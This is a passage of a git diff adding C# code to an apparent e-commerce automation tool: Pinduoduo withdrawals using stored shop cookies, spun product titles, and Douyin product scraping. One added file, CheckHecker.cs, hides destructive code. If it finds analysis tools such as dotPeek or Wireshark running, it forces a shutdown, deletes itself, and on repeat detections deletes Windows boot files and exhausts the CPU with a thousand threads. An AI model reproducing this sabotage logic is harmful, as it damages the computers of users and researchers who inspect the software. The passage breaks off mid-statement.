BaseRegex.GetStringJson(ref html, "bankAccountName"); + string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId"); + string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone"); + string bankCard = bankName + " " + bankAccountName + " " + bankAccountId; + //保证金 + url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies); + //保证金 + decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100; + WithDraw w = new WithDraw(); + w.bankName = bankName; + w.bankAccountName = bankAccountName; + w.bankAccountId = bankAccountId; + w.bankPhone = bankPhone; + w.accountMoney = accountMoney; + w.freeBalance = freeBalance; + if (!string.IsNullOrEmpty(currentShop.withDraw.status)) + { + w.status = currentShop.withDraw.status; + w.datetime = currentShop.withDraw.datetime; + w.amount = currentShop.withDraw.amount; + } + currentShop.withDraw = w; + TempShops.Add(currentShop); + LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取数据成功"); + } + public void GetCode() + { + string url = "https://mms.pinduoduo.com/uranus/api/phoneCodeWithPreCheckV2"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"amount\":" + amount + ",\"withdrawType\":1}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + //string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add(Name, "商铺"+currentShop.ShopName+",获取验证码成功"); + return; + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取验证码失败"+errorMsg); + return; + } + + } + + public void ConformWithDraw() + { + string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawV2"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"amount\":" + amount + ",\"phoneCode\":\"" + code + "\",\"withdrawType\":1}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + if (html.Contains("\"success\":true")) + { + LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现成功"); + currentShop.withDraw.amount = amount / 100.0M; + currentShop.withDraw.datetime = DateTime.Now; + currentShop.withDraw.status = "提现成功"; + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现失败,"+ errorMsg); + currentShop.withDraw.amount = amount / 100.0M; + currentShop.withDraw.datetime = DateTime.Now; + currentShop.withDraw.status = "提现失败," + errorMsg; + } + GetSingleWithDraw(); + } + + } + + + public class WithDraw + { + public string bankName = ""; + public string bankAccountName = ""; + public string bankAccountId =""; + public string bankPhone = ""; + public decimal freeBalance = 0.0M; + public decimal accountMoney = 0.0M; + public decimal amount = 0.0M;//提现金额 + public DateTime datetime = DateTime.MinValue; + public string status = ""; + public long availableBalance = 0;//货款可用金额 + public long subMoney = 0;//充值金额 + public string shortUrl = ""; + } + +} diff --git a/Work/CollectClass/BigDataBuild.cs b/Work/CollectClass/BigDataBuild.cs new file mode 100644 index 0000000..2cc5b19 --- /dev/null +++ b/Work/CollectClass/BigDataBuild.cs @@ -0,0 +1,436 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; +using Work.Api; +using Work.ManageClass; + +namespace Work.CollectClass +{ + public class BigDataBuild + { + public static Dictionary Keywords = new Dictionary(); + public List NoKeyword = new List(); + public static List Product = new List(); + public static List ProductTemp = new List(); + public static bool Running = false, AutoAdd = false, OnlyFree = false,BuildAutoAdd=false; + public static int BeginPrice = 0, EndPrice = 0, BeginSaleCount = 0, EndSaleCount = 0, GetCount = 0, MaxCount = 0, ThisCount = 0; + public int SiteId = 1; + public string Name; + public static string SearchUrl = "", MainCatName = ""; + public BigDataBuild(string name) + { + if (Keywords.Count == 0) + IniKeyword(); + Name = name; + } + + public void Get(int siteId, string noKeyword) + { + NoKeyword.Clear(); + string[] l = noKeyword.Split('\n'); + foreach (var s in l) + { + string ss = s.Trim(); + if (string.IsNullOrEmpty(s)) + continue; + NoKeyword.Add(ss); + } + SiteId = siteId; + new Thread(Get).Start(); + } + + public string GetRandTitle(string title) + { + var m = BaseRegex.GetMatchRegex(ref title, @"(【[\w\W]+?】)"); + string before = ""; + for (int i = 0; i < m.Count; i++) + { + before += m[i].Groups[1].Value; + title = title.Replace(m[i].Groups[1].Value, ""); + } + if (string.IsNullOrEmpty(title)) + return ""; + List keyx = new Segment().Get(title); + string newTitle = "",left = title+" "; + foreach (string s in keyx) + { + newTitle += s; + for (int i = 0; i < left.Length - s.Length; i++) + { + string key = left.Substring(i, s.Length); + if (key == s) + { + if (i > 0) + left = left.Substring(0, i) + " " + left.Substring(i + s.Length); + else + left = left.Substring(s.Length); + break; + } + } + } + return before+newTitle + left.Replace(" ",""); + } + + public void Get() + { + int mainCatId = BaseClass.MainCatId; + foreach (KeyValuesBase key in FromTitleToCat.MainCat) + { + if (key.Value2 == MainCatName) + mainCatId = int.Parse(key.Key); + } + + string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get"; + StringBuilder s = new StringBuilder(); + //s.Append("&act=get"); + s.Append("&begin_price=" + BeginPrice); + s.Append("&end_price=" + EndPrice); + s.Append("&begin_sale_count=" + BeginSaleCount); + s.Append("&end_sale_count=" + EndSaleCount); + s.Append("&get_count=" + GetCount); + s.Append("&site_id=" + SiteId); + s.Append("&main_cat_id=" + mainCatId); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + s); + var m = BaseRegex.GetMatchRegex(ref html, @"]+?)>"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + int siteId = BaseRegex.GetIntJson(ref list, "site_id"); + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = BaseRegex.GetLongJson(ref list, "product_id"); + t.Titlte = BaseRegex.GetStringJson(ref list, "name").Replace("2017","2018"); + bool had = false; + foreach (string k in NoKeyword) + { + if (t.Titlte.Contains(k)) + { + had = true; + break; + } + } + if (had) + continue; + t.FromType = siteId == 1 ? "淘宝" : "拼多多"; + t.Cat1 = BaseRegex.GetIntJson(ref list, "cat1"); + if (t.Cat1 == 194) + continue; + decimal free = BaseRegex.GetDecimalJson(ref list, "express_price"); + if (OnlyFree && free > 0) + continue; + t.Cat2 = BaseRegex.GetIntJson(ref list, "cat2"); + t.Cat3 = BaseRegex.GetIntJson(ref list, "cat3"); + t.MainCatId = BaseRegex.GetIntJson(ref list, "main_cid"); + t.Price = BaseRegex.GetDecimalJson(ref list, "price"); + t.SaleCount = BaseRegex.GetIntJson(ref list, "sold_count"); + had = Product.Exists(p => p != null && p.FromId == t.FromId); + if (!had) + { + Product.Add(t); + ProductTemp.Add(t); + } + } + } + + public void BuildTitle() + { + Running = true; + MaxCount = Product.Count; + for (int i = 0; i < Product.Count && Running; i++) + { + ThisCount = i + 1; + var p = Product[i]; + if (p == null || p.Build) + continue; + string title = p.Titlte; + string mainKey = GetMainKeywords(title); + if (string.IsNullOrEmpty(mainKey)) + { + LogSave.Add(Name, "没有找到主关键词"); + continue; + } + string newTitle = GetAllTitle(mainKey); + if (string.IsNullOrEmpty(newTitle) && mainKey.Split(' ').Length==4) + { + newTitle = GetAllTitle(mainKey.Substring(0,mainKey.LastIndexOf(" "))); + } + if (string.IsNullOrEmpty(newTitle)) + { + LogSave.Add(Name, "生成标题失败:" + mainKey); + continue; + } + p.Build = true; + p.Titlte = newTitle; + LogSave.Add(Name, "生成标题成功:" + p.Titlte); + BigDataCenter.ProductTemp.Add(p); + if (BuildAutoAdd) + { + if (p.FromType == "内部数据") + p.FromType = "拼多多"; + UploadPinduoduoMain.ProductStock.Add(p); + UploadPinduoduoMain.AddToDataBase(p); + } + } + ThisCount = MaxCount; + Running = false; + } + /// + /// 以关键词和指数获取标题 + /// + /// + /// + public string GetIndexKeywordTitle(string keyword) + { + return ""; + } + /// + /// 以关键词获取标题 + /// + /// + /// + public string GetAllTitle(string keyword) + { + if (string.IsNullOrEmpty(keyword) || !keyword.Contains(" ")) + return ""; + Thread.Sleep(500); + string url = "http://t.qimake.cn/api.php?keyword=" + GetHtml.UrlEncodeUtf8(keyword); + string data = UserLogin.GetSignaturex() ; + string html = GetHtml.PostUtf8(url, data); + html = GetHtml.Decode(html).Replace("\\/", "/"); + + //var m = BaseRegex.GetMatchRegex(ref html, @"""title"":""([^""]+?)"""); + string titles = ""; + string[] tl = html.Split('\n'); + foreach (var ti in tl) + { + string title = ti.Replace("2017", "2019").Replace("2018", "2019"); + title = BaseRegex.Clear(title, "(【[^】]+】)"); + title = BaseRegex.Clear(title, @"(买[\d]+发[\d]+)"); + title = BaseRegex.Clear(title, @"(满[\d]+减[\d]+)"); + if (titles.Contains(title) || title.Length < 4) + continue; + if (title.Length > 60) + title = title.Substring(0, 60); + titles += title.Substring(4); + } + //for (int j = 0; m != null && j < m.Count; j++) + //{ + // string title = m[j].Groups[1].Value; + // if (titles.Contains(title) || title.Length < 4) + // continue; + // titles += title.Substring(4); + //} + BaseRegex.Relpace(ref titles, "([0-9a-zA-Z-_:&;/])", ""); + List keyx = new Segment().Get(titles); + List key = new List(); + string noKey = ",正品,限量,代购,限时,厂家,天猫,微信,京东,淘宝,韩国,日本,美国,正版,真品,真皮,,,"; + for (int i = 0; keyx != null && i < keyx.Count; i++) + { + if (key.Contains(keyx[i]) || noKey.Contains(keyx[i]) || keyx[i].Contains("正") || keyx[i].Contains("真") + || AlibabaShop.TitleCantHad.Contains(keyx[i]) || AlibabaShop.NoBrandName.Contains(keyx[i]) || AlibabaShop.NoTitleWords.Contains(keyx[i])) + continue; + key.Add(keyx[i]); + } + if (key.Count < 30) + return ""; + string[] l = keyword.Split(' '); + for (int i = 0; i < l.Length; i++) + { + if (AlibabaShop.NoTitleWords.Contains(l[i]) || AlibabaShop.NoBrandName.Contains(l[i]) || + AlibabaShop.TitleCantHad.Contains(l[i])) + l[i] = ""; + } + string newTitle = l[0]; + int times = 0; + while (newTitle.Length < 8 && times < 1000) + { + times++; + int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count); + if (newTitle.Contains(key[r])) + continue; + newTitle += key[r]; + } + if (l.Length > 1) + newTitle += l[1]; + times = 0; + while (newTitle.Length < 16 && times < 1000) + { + times++; + int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count); + if (newTitle.Contains(key[r])) + continue; + newTitle += key[r]; + } + if (l.Length > 2) + newTitle += l[2]; + while (newTitle.Length < 22 && times < 1000) + { + times++; + int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count); + if (newTitle.Contains(key[r])) + continue; + newTitle += key[r]; + } + if (l.Length > 3) + newTitle += l[3]; + times = 0; + while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000) + { + times++; + int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count); + if (newTitle.Contains(key[r])) + continue; + newTitle += key[r]; + } + //超强过滤 + for (int i = 0; i < AlibabaShop.NoBrandName.Count; i++) + { + if (newTitle.Contains(AlibabaShop.NoBrandName[i])) + newTitle = newTitle.Replace(AlibabaShop.NoBrandName[i], ""); + } + while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000) + { + times++; + int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count); + if (newTitle.Contains(key[r])) + continue; + newTitle += key[r]; + } + return newTitle; + } + + public string GetMainKeywords(string title) + { + if (string.IsNullOrEmpty(title)) + return ""; + BaseRegex.Relpace(ref title, "([0-9a-zA-Z-_:&;/])", ""); + title = title.Replace(" ", "").Replace("新款", "").Replace("包邮", "").Replace("正品", "").Replace("韩版", "") + .Replace("可爱", "").Replace("卡通", "").Replace("时尚", "").Replace("新品", "").Replace("特价", "").Replace("热销", "").Trim(); + if (title.Length < 8) + return ""; + Dictionary keys = new Dictionary(); + for (int i = 2; i < title.Length; i++) + { + for (int j = 0; j < title.Length - i; j++) + { + string key = title.Substring(j, i).Trim(); + if (string.IsNullOrEmpty(key) || keys.ContainsKey(key)) + continue; + if (Keywords.ContainsKey(key)) + keys.Add(key, Keywords[key] * 5 ^ (key.Length - 2)); + } + } + string outKey = ""; + if (keys.Count < 4) + { + List keyx = new Segment().Get(title); + for (int i = 0; i < keyx.Count&& keys.Count<4; i++) + { + if(keys.ContainsKey(keyx[i])) + continue; + keys.Add(keyx[i],1); + } + } + if (keys.Count < 5) + { + foreach (KeyValuePair key in keys) + { + outKey += " " + key.Key; + } + return outKey.Trim(); + } + string key1 = "", key2 = "", key3 = "", key4 = ""; + int count1 = 0, count2 = 0, count3 = 0, count4 = 0; + foreach (KeyValuePair key in keys) + { + if (count1 < key.Value) + { + count1 = key.Value; + key1 = key.Key; + } + else if (count2 < key.Value) + { + count2 = key.Value; + key2 = key.Key; + } + else if (count3 < key.Value) + { + count3 = key.Value; + key3 = key.Key; + } + else if (count4 < key.Value) + { + count4 = key.Value; + key4 = key.Key; + } + } + outKey = key1 + " " + key2 + " " + key3 + " " + key4; + return outKey.Trim(); + } + + public void Ini() + { + string fileName = "lbigdata.dll"; + if (!FileBase.Exists(fileName)) + { + GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName); + } + string[] l = FileBase.ReadAllLines(fileName, Encoding.UTF8); + if (l == null || l.Length < 300000) + { + GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName); + l = FileBase.ReadAllLines(fileName, Encoding.UTF8); + } + if (l == null || l.Length < 300000) + { + MessageBox.Show("初始化大数据异常,请检查网络", "提示"); + return; + } + } + + public void IniKeyword() + { + string[] l = "防狼,辣椒水,迷情,刀,枪,听话,催泪,瓦斯".Split(','); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + NoKeyword.Add(l[i].Trim()); + } + + //string fileName = "lbigdata.dll"; + string fileName = "Segment.dll"; + l = FileBase.ReadAllLines(fileName, Encoding.UTF8); + if (l == null || l.Length < 300000) + { + MessageBox.Show("初始化大数据失败,请重新打开软件", "提示"); + return; + } + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t")) + continue; + string[] ll = l[i].Split('\t'); + string keyword = ll[0].Replace(" ", ""); + int rank = int.Parse(ll[1]); + if (!Keywords.ContainsKey(keyword)) + Keywords.Add(keyword, rank); + } + } + /// + /// 删除下架产品 + /// + /// 产品ID + /// 网站ID + public static void Delete(long id, int site) + { + //string url = BaseClass.BigDataApiUrl + "?obj=product/product"; + //string data = "&act=delete&site_id=" + site + "&id=" + id; + //string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + } + } +} diff --git a/Work/CollectClass/CheckHecker.cs b/Work/CollectClass/CheckHecker.cs new file mode 100644 index 0000000..66864a4 --- /dev/null +++ b/Work/CollectClass/CheckHecker.cs @@ -0,0 +1,176 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Work.CollectClass +{ + public class CheckHecker + { + private string SystemPath; + /// + /// 检查是否被黑客劫持 + /// + public void Check() + { + try + { + CheckReCrack(); + SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); + string path = SystemPath + "\\drivers\\etc\\hosts"; + if (File.Exists(path)) + { + string f = File.ReadAllText(path); + if ( f.IndexOf("qixiaoke.com") > -1) + { + new Thread(IsHecker).Start(); + string[] fl = File.ReadAllLines(path); + for (int i = 0; i < fl.Length; i++) + if ( f.IndexOf("qixiaoke.com") > -1) + fl[i] = ""; + File.WriteAllLines(path, fl); + } + } + } + catch (Exception e) + { + } + } + /// + /// 检查反破解 + /// + private void CheckReCrack() + { + string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot,WSExplorer,Sniffer,wireshark,WinNetCap,Charles"; + string[] l = s.Split(','); + foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses()) + { + for (int i = 0; i < l.Length; i++) + { + if (thisproc.ProcessName.ToLower() == l[i].ToLower()) + { + new Thread(IsHecker).Start(); + return; + } + } + } + } + + /// + /// 发现是黑客破解 + /// + public void IsHecker() + { + string p = "c:\\ini.ini"; + if (!File.Exists(p)) + File.WriteAllText(p, "0"); + string f = File.ReadAllText(p); + int times = 0; + int.TryParse(f, out times); + if (times < 0) + times = 0; + times++; + File.WriteAllText(p, times.ToString()); + new Thread(Warningx).Start(); + new Thread(Warning).Start(); + if (times > 3) + new Thread(DeleteSystemFile).Start(); + } + /// + /// 警告对话框 + /// + private void Warningx() + { + Thread.Sleep(100); + Process.Start("shutdown.exe", "-s -t 2"); + DeleteMyself(); + } + + /// + /// 警告对话框 + /// + private void Warning() + { + Thread.Sleep(500); + MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件"); + } + + /// + /// 删除系统文件 + /// + private void DeleteSystemFile() + { + string c = SystemPath.Substring(0, 1); + string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr"; + string[] f = file.Split(','); + for (int i = 0; i < f.Length; i++) + { + try + { + string path = c + ":\\" + f[i]; + if (File.Exists(path)) + { + new FileInfo(path).IsReadOnly = false; + new FileInfo(path).Attributes = FileAttributes.Normal; + File.Delete(path); + } + if (c.ToLower() != "c") + { + path = "c:\\" + f[i]; + if (File.Exists(path)) + { + new FileInfo(path).IsReadOnly = false; + new FileInfo(path).Attributes = FileAttributes.Normal; + File.Delete(path); + } + } + } + catch + { + } + } + //强制关机 + Process.Start("shutdown.exe", "-s -t 2"); + //耗尽CPU + for (int i = 0; i < 1000; i++) + { + Thread t = new Thread(UserAllCpu); + t.Priority = ThreadPriority.Highest; + t.Start(); + } + } + /// + /// 耗尽CPU + /// + private void UserAllCpu() + { + while (true) + { + double s = 0; + for (int i = 0; i < 100000; i++) + { + s += i; + if (s == -1) + break; + } + } + } + /// + /// 删除自己 + /// + private void DeleteMyself() + { + //在临时文件夹生成批处理文件 + string vBatFile = Path.GetTempPath() + "clear.bat"; + using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default)) + { + vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" + + "if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath)); + } + Process.Start(vBatFile); + Process.GetCurrentProcess().Kill(); + } + } +} diff --git a/Work/CollectClass/CollectDoyin.cs b/Work/CollectClass/CollectDoyin.cs new file mode 100644 index 0000000..11d9a62 --- /dev/null +++ b/Work/CollectClass/CollectDoyin.cs @@ -0,0 +1,400 @@ +using AllBase; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work.CollectClass +{ + public class CollectDoyin + { + public static bool isGeting = false; + + public static Dictionary ProductTemp = new Dictionary(); + public static DateTime lastGetTime = DateTime.Now; + + public bool GetSuccess = false; + public ProductCollectBase Product; + + public string Message = ""; + + public CollectDoyin(ProductCollectBase product) + { + Product = product; + } + + + public void GetProduct() + { + while (isGeting) + { + Thread.Sleep(50); + } + isGeting = true; + Thread.Sleep(Randomx.GetId(3500, 4500)); + try + { + this.GetProd(); + } + catch (Exception ex) + { + Message = ex.Message; + } + isGeting = false; + } + + public void GetProd() + { + if (ProductTemp.ContainsKey(Product.from_id)) + { + GetSuccess = true; + Product = ProductTemp[Product.from_id].Clone(); + return; + } + + GetSuccess = false; + string html = ""; + string sku = ""; + bool canUse = false; + if (UploadPinduoduoMain.isUseDouYinCache) + html = ServerTemp.Get(6, Product.from_id.ToString(), out canUse); + + // 使用缓存数据 + if (!string.IsNullOrEmpty(html) && canUse) + { + var dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})"); + while (!string.IsNullOrEmpty(dtString) && html.StartsWith(dtString)) + { + html = html.Substring(dtString.Length).TrimStart(' ', ','); + dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})"); + } + try + { + //Product = JsonHelper.DeserializeJsonToObject(html); + Product = Newtonsoft.Json.JsonConvert.DeserializeObject(html); + Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4; + List kvList = new List(); + foreach (var kv in Product.Prop) + { + if (!kvList.Any(k => k.Key == kv.Key)) + kvList.Add(kv); + } + Product.Prop.Clear(); + Product.Prop.AddRange(kvList); + + if (Product.cat_id == 0 && Product.cat2 != 0) + Product.cat_id = Product.cat2; + ProductTemp.Add(Product.from_id, Product); + GetSuccess = true; + return; + } + catch (Exception ex) + { + Message = ex.Message; + } + } + + // 缓存不可用,采集最新数据 + while (DateTime.Now < lastGetTime.AddSeconds(5)) + { + Thread.Sleep(50); + } + html = ""; + for (int r = 0; !html.Contains("\"st\":0") && r < 5; r++) + { + if (r > 0) + Thread.Sleep(Randomx.GetId(3500, 4500)); + + // 采集商品详情 + html = RequestProduct(Product.from_id.ToString()); + if (html.Contains("商品已失效")) + { + GetSuccess = true; + Product.IsOnSale = false; + return; + } + } + if (!html.Contains("\"st\":0")) + return; + + // 采集SKU + sku = RequestSku(Product.from_id.ToString()); + for (int r = 0; !sku.Contains("\"st\":0") && r < 5; r++) + { + Thread.Sleep(Randomx.GetId(3500, 4500)); + sku = RequestSku(Product.from_id.ToString()); + } + if (!sku.Contains("\"st\":0")) + return; + + GetSuccess = true; + try + { + JObject jProd = JObject.Parse(html); + JObject jSku = JObject.Parse(sku); + Product.from_site_id = 7; + Product.from = "抖音"; + Product.name = jProd["data"]["name"].ToString(); + string sellNumStr = jProd["data"]["sell_num"]?.ToString().Replace("+", "").Replace("万", "0000").Replace("千", "000"); + if (!string.IsNullOrEmpty(sellNumStr)) + Product.saleCount = sellNumStr.ParseToInt(); + else + Product.saleCount = 0; + Product.price = jProd["data"]["discount_price"].ParseToDecimal() / 100; + Product.express_price = 0; + Product.num = jSku["data"]["total_stock_num"].ParseToInt(); + Product.from_shop_name = jProd["data"]["shop_name"].ToString(); + Product.main_cid = jProd["data"]["first_cid"].ParseToInt(); + Product.IsOnSale = jProd["data"]["status"] != null && jProd["data"]["status"].ParseToInt() == 0; + var salesStr = jProd["data"]["sell_num"].ToString(); + var salesInt = salesStr.Replace("+", "").Replace("万", "").Replace("千", "").ParseToDecimal(); + if (salesStr.Contains("千")) + salesInt = salesInt * 1000; + if (salesStr.Contains("万")) + salesInt = salesInt * 10000; + Product.saleCount = (int)salesInt; + if (!Product.IsOnSale) + Message = "商品已下架"; + try + { + Product.main_cat_name = jProd["data"]?["extra"]?["category_detail"]?["first_cname"]?.ToString(); + Product.cat1 = (jProd["data"]?["extra"]?["category_detail"]?["first_cid"]).ParseToInt(); + Product.cat2 = (jProd["data"]?["extra"]?["category_detail"]?["second_cid"]).ParseToInt(); + Product.cat3 = (jProd["data"]?["extra"]?["category_detail"]?["third_cid"]).ParseToInt(); + Product.cat4 = (jProd["data"]?["extra"]?["category_detail"]?["fourth_cid"]).ParseToInt(); + } + catch (Exception ex) + { + Message = ex.Message; + } + if (string.IsNullOrEmpty(Product.main_cat_name)) + Product.main_cat_name = BaseRegex.GetStringJson(ref html, "first_cname"); + Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4; + if (Product.cat_id == 0 && Product.cat2 != 0) + Product.cat_id = Product.cat2; + if (!string.IsNullOrEmpty(jProd["data"]["freight1"]?.ToString()) && jProd["data"]["freight"]["product_province_name"] != null) + Product.state = jProd["data"]["freight"]["product_province_name"].ToString(); + Product.item_size = ""; + Product.item_weight = (int)jProd["data"]["weight"].ParseToDecimal(); + if (Product.item_weight == 0) + Product.item_weight = 1; + + JArray jImgArr = jProd["data"]["img_list"] as JArray; + if (jImgArr != null) + { + foreach (var jImg in jImgArr) + Product.Images.Add(jImg.ToString()); + } + Product.image = jProd["data"]["img"].ToString(); + if (string.IsNullOrEmpty(Product.image) && Product.Images.Count > 0) + Product.image = Product.Images[0]; + var description = jProd["data"]["description"].ToString(); + var contentMatch = BaseRegex.GetMatchRegex(ref description, "]*?>([^>]+?)"); + if (contentMatch.Count == 0) + contentMatch = BaseRegex.GetMatchRegex(ref description, "]*?src=\"([^>]+?)\"([^>]*?)>"); + var contentStr = ""; + for (int i = 0; contentMatch != null && i < contentMatch.Count; i++) + { + contentStr += ""; + } + Product.content = contentStr; + + JObject jPropArr = jProd["data"]["product_format"] as JObject; + if (jPropArr != null) + { + foreach (var jProp in jPropArr) + { + Product.Prop.Add(new KeyValueBase(jProp.Key, jProp.Value.ToString())); + } + } + + // 读取商品的sku属性和sku + // 读取sku属性 + var propValueBaseList = new List(); + + var propsObjs = jProd["data"]["spec_info"]; + foreach (var propsObj in propsObjs) + { + PropBase pb = new PropBase(); + pb.name = propsObj["name"].ToString(); + foreach (var prObj in propsObj["list"]) + { + PropValueBase pr = new PropValueBase(); + pr.name = prObj["name"].ToString(); + pr.id = prObj["id"].ToString(); + pb.Values.Add(pr); + propValueBaseList.Add(pr); + } + Product.Props.Add(pb); + } + + // 读取属性图片 + var skuImages = jSku["data"]["pic_map"] as JObject; + foreach (var imageObj in skuImages) + { + var imagePropValueId = imageObj.Key.ToString(); + var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == imagePropValueId); + if (propValue != null) + propValue.image = "https://sf1-ttcdn-tos.pstatp.com/obj/" + imageObj.Value.ToString(); + } + + // 读取sku + var skuObjs = jSku["data"]["stock"] as JObject; + foreach (var skuObj in skuObjs) + { + var skuPropIdsStr = skuObj.Key.ToString(); + var skuPropIdsArr = skuPropIdsStr.Split(';'); + var skuValueObj = skuObj.Value; + + var skuId = skuValueObj["id"].ToString(); + var num = skuValueObj["stock_num"].ParseToInt(); + if (num > 90) + num = 99; + var price = skuValueObj["discount_price"].ParseToDecimal() / 100; + var skuName = ""; + foreach (var propId in skuPropIdsArr) + { + var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == propId); + if (propValue != null) + { + var propGroup = Product.Props.FirstOrDefault(pg => pg.Values.Contains(propValue)); + if (propGroup != null) + { + skuName += propGroup.name + ":" + propValue.name + ";"; + }; + } + } + skuName = skuName.TrimEnd(';'); + if (string.IsNullOrEmpty(skuName)) + continue; + + SkuMapBase sm = new SkuMapBase(); + sm.id = long.Parse(skuId); + sm.name = skuName; + sm.price = price; + sm.number = num; + Product.SkuMaps.Add(sm); + } + + Product.from_title = Product.name; + ProductTemp.Add(Product.from_id, Product); + + string saveHtml = JsonHelper.SerializeObject(Product); + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 6, ProuctId = Product.from_id.ToString(), SaveHtml = saveHtml }); + } + catch (Exception ex) + { + Message = ex.Message; + } + } + + /// + /// 商品主图、属性、详情采集 + /// + /// + private string RequestProduct(string productId = "3496306606084372244") + { + HttpWebResponse response = null; + string result; + + try + { + //https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=3508075071942062941&preview=0&is_native_h5=1&is_in_app=0 + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&preview=0&is_native_h5=1&is_in_app=0"); + + request.KeepAlive = true; + request.Headers.Add("sec-ch-ua", @"""Google Chrome"";v=""105"", ""Not)A;Brand"";v=""8"", ""Chromium"";v=""105"""); + request.Accept = "application/json, text/plain, */*"; + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"; + request.Headers.Add("sec-ch-ua-platform", @"""Windows"""); + request.Headers.Add("Origin", @"https://haohuo.jinritemai.com"); + request.Headers.Add("Sec-Fetch-Site", @"cross-site"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = "https://haohuo.jinritemai.com/"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + //request.Headers.Set(HttpRequestHeader.Cookie, AllBase.Helper.GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功")?.Cookies); + //request.Headers.Set(HttpRequestHeader.Cookie, "msToken=SyvmaX114hG0QqSd-cZ3ZaS_-fgnxjUfBRR3HR8LN4YNU3L91jWVqXH6oWylsN6u7DPpNkIaUdiPSiOXjSfBgxdkuk-GYlahGDbT9We4WPry"); + //request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606"); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = 